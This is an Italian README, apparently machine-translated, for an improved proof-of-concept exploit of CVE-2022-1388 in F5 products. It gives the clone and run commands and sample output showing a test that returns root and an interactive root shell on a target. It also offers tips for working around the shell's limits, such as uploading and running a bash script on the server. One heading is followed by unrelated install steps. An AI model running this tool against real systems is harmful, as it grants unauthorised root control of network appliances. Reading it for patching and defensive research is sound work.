
Una Prova di concetto migliorata per CVE-2022-1388 con una Shell interattiva
POC migliorato per CVE-2022-1388 che colpisce multipli prodotti F5.
Questa è una versione migliorata del Proof of Concept di Horizon3 per CVE-2022-1388: https://github.com/horizon3ai/CVE-2022-1388
Questa versione contiene molti miglioramenti oltre a una shell interattiva per eseguire comandi remoti.
L'analisi tecnica della causa principale della vulnerabilità di Horizon3 può essere trovata sul loro blog: https://www.horizon3.ai/f5-icontrol-rest-endpoint-authentication-bypass-technical-deep-dive/
Condizioni necessarie di una richiesta per sfruttare questa vulnerabilità:
git clone https://github.com/PsychoSec2/CVE-2022-1388-POC.git
cd ./CVE-2022-1388-POC
pip3 install -r requirements.txt
python3 ./CVE-2022-1388.py -h
root@kali:/home/dev/CVE-2022-1388-POC# python3 CVE-2022-1388.py -u https://192.168.0.221 -t
Running test on target: https://192.168.0.221 | Command: whoami
Response: root
Target is vulnerable!!
Use -s option to run an interactive shell.
root@kali:/home/dev/CVE-2022-1388-POC# python3 CVE-2022-1388.py -u https://192.168.0.221 -s
Running interactive shell..
root@f5-localhost: /var/service/restjavad$
Non richiede l'utilizzo di alcuna connessione TCP inversa o listener.
root@kali:/home/dev/CVE-2022-1388-POC# python3 CVE-2022-1388.py -h
Usage: CVE-2022-1388.py [options]
Options:
-h, --help Show this help message.
-u URL, --url=URL The IP address of the target.
-t, --test Test target for CVE-2022-1388.
-s, --shell Run an interactive shell.
Tieni presente che durante l'esecuzione della shell interattiva su un sistema non patchato, alcuni comandi e sintassi potrebbero non funzionare o non dare il risultato previsto. Ciò è probabilmente dovuto all'uso di JSON nelle richieste e risposte dell'API del server. Per evitare problemi, cerca di non utilizzare caratteri singoli comuni nella sintassi JSON come due punti, virgole, parentesi graffe, parentesi quadre e in particolare virgolette quando usi la shell interattiva. Qualsiasi sintassi JSON all'interno di un comando dovrebbe essere strutturata in formato.
L'uso di qualsiasi tipo di sintassi JSON non strutturata all'interno di un comando potrebbe portare a una richiesta API malformata al server e potrebbe lasciarti con: nessun output del comando, nulla eseguito, o potrebbe buttarti fuori dallo script Python completamente. Questo purtroppo rende alcuni comandi inutilizzabili. Per aggirare questo problema, puoi invece scrivere uno script bash, scaricarlo sul server ed eseguirlo utilizzando la shell interattiva. Inoltre non è possibile cambiare directory usando il comando 'cd'.
In ogni caso dovresti comunque essere in grado di ottenere un output di comando di base. Se non ottieni alcun output del comando, non significa che il comando non sia stato eseguito. Tuttavia, dovresti scoprirlo utilizzando la tua analisi.
Aggiorna all'ultima versione o mitiga seguendo le istruzioni all'interno dell'avviso di sicurezza F5
Questo software è stato creato puramente per scopi di ricerca accademica e per lo sviluppo di tecniche difensive efficaci, e non è destinato a essere utilizzato per attaccare sistemi se non esplicitamente autorizzato. I manutentori del progetto non sono responsabili per un uso improprio del software. Usalo in modo responsabile.